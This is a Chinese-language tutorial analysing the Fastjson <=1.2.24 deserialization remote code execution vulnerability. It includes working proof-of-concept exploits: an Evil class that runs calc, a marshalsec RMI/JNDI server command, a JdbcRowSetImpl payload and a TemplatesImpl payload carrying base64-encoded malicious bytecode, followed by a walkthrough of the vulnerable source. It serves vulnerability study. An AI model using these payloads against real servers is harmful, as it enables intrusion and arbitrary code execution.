Fastjson是由阿里巴巴研发的一个java库,用来实现Java对象转换JSON格式以及JSON字符串转换为对象。
在Fastjson<=1.2.24以前存在远程代码执行漏洞。
Fastjson漏洞分析
启用一个maven项目,直接在pom.xml导入以下内容
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.23</version>
</dependency>
</dependencies>
导入JSON库
import com.alibaba.fastjson.JSON
fastjson有两种常见的处理JSON方式:
JSON.toJSONString()
JSON.parseObject()
分别用来将对象转换为JSON字符串以及JSON字符串转换为对象。
先定义一个类User,用来作为JSON对象。
public class User {
private int age;
private String name;
public int getAge() {
System.out.println("调用了getAge()");
return age;
}
public void setAge(int age) {
this.age = age;
System.out.println("调用了setAge()");
}
public String getName() {
System.out.println("调用了getName()");
return name;
}
public void setName(String name) {
this.name = name;
System.out.println("调用了setName()");
}
}
我们使用JSON.toJSONString来JSON序列化我们的类user。
import com.alibaba.fastjson.JSON;
public class Test {
public static void main(String[] args) {
User user = new User();
user.setAge(18);
user.setName("Tom");
System.out.println("-----------JSON------------------");
String json = JSON.toJSONString(user);
System.out.println(json);
}
}
可以看到运行结果为:
调用了setAge() 调用了setName() -----------JSON------------------ 调用了getAge() 调用了getName() {"age":18,"name":"Tom"}
我们再创建一个类,用来将JSON序列化的内容转换为JAVA对象。
import com.alibaba.fastjson.JSON;
public class JsonToObj {
public static void main(String[] args) {
String str = "{\"age\":18,\"name\":\"Tom\"}";
System.out.println(JSON.parseObject(str,User.class));
}
}
可以看到运行结果为:
调用了setAge() 调用了setName() User@28c97a5
不难发现,JSON序列化对象时调用了getAge()和getName(),而在反序列化时调用了setAge()和setName()。且在反序列化时调用的JSON.parseObject(str,User.class),指定所属的类还可以通过指定@type的方式来定位类。
当我们利用JSON在反序列化时调用并覆盖恶意的类的构造方法以及属性相关的set方式时,就能够达到RCE的目的,且JSON.parseObject(“{"@type":"
User","name":"Tom","age":18}”,Feature.SupportNonPublicField) 能够为private成员赋值。
JdbcRowSetImpl
com.sun.rowset.JdbcRowSetImpl
使用JNDI注入来实现RCE。
编译这个类,放到我们启用的RMI服务器的目录下,确保我们能够访问到它。
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Evil extends AbstractTranslet{
static {
System.err.println("Pwned");
try {
String[] cmd = {"calc"};
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
} catch ( Exception e ) {
e.printStackTrace();
}
}
@Override
public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException {
// anything
}
@Override
public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException {
// anything
}
}
启动RMI服务器
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1/#Evil" 9999
构造恶意的Payload
import com.alibaba.fastjson.JSON;
public class JsonToObj {
public static void main(String[] args) {
String str = "{\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:9999/#Evil\",\"autoCommit\":true}}";
System.out.println(JSON.parseObject(str));
}
}
成功命令执行
原理:
将恶意的值(接下来我们构造的dataSourceName)输入到setDataSourceName(String name)
public void setDataSourceName(String name) throws SQLException {
if (name == null) {
dataSource = null;
} else if (name.equals("")) {
throw new SQLException("DataSource name cannot be empty string");
} else {
dataSource = name;
}
URL = null;
}
会运行setAutoCommit(),其中的connect()里面,就是我们这个反序列化漏洞的核心函数lookup()。
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
connect()方法中有典型的JNDI的Lookup方法调用,且参数为我们上传的参数dataSourceName。
protected Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}
TemplatesImpl
TemplatesImplcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,这个类的利用条件较为苛刻,必须要开启Feature.SupportNonPublicField,便可以不利用setter方法,成功赋值。
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
public class JsonToObj {
public static void main(String[] args) {
String str = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQAJAoAAwAPBwARBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAR0ZXN0AQAMSW5uZXJDbGFzc2VzAQAiTGNvbS9oZWxsby9kZW1vL2pzb24vSkRLN3UyMSR0ZXN0OwEAClNvdXJjZUZpbGUBAAxKREs3dTIxLmphdmEMAAQABQcAEwEAIGNvbS9oZWxsby9kZW1vL2pzb24vSkRLN3UyMSR0ZXN0AQAQamF2YS9sYW5nL09iamVjdAEAG2NvbS9oZWxsby9kZW1vL2pzb24vSkRLN3UyMQEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAXABgKABYAGQEABGNhbGMIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACEKACIADwAhAAIAIgAAAAAAAgABAAQABQABAAYAAAAvAAEAAQAAAAUqtwAjsQAAAAIABwAAAAYAAQAAACoACAAAAAwAAQAAAAUACQAMAAAACAAUAAUAAQAGAAAAFgACAAAAAAAKuAAaEhy2ACBXsQAAAAAAAgANAAAAAgAOAAsAAAAKAAEAAgAQAAoACQ==\"],'_name':'exp','_tfactory':{ },\"_outputProperties\":{ }}";
System.out.println(JSON.parseObject(str, Feature.SupportNonPublicField));
}
}
成功命令执行
原理:
调用了_outputProperties的getter方法(getOutputProperties)
跟进newTransformer()
跟进getTransletInstancew()
name不为空且 _class为空时,会进入defineTransletClasses()
defineTransletClasses()中,要满足tfactory属性不为空,否则会造成空指针异常,且后面将二维数组bytecode属性转化为Class对象,同时存入一维数组_class属性中,同时有一个细节就是我们构造的恶意类父类要为com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,不然这个索引不会更新当前位置
然后回到getTransletInstance()方法
这里根据_class属性以及当前索引获取当前Class对象,并拿到无参构造器进行实例化,可以将恶意代码放在无参构造函数或者静态代码块中,这样实例化时就会触发命令执行等操作从而RCE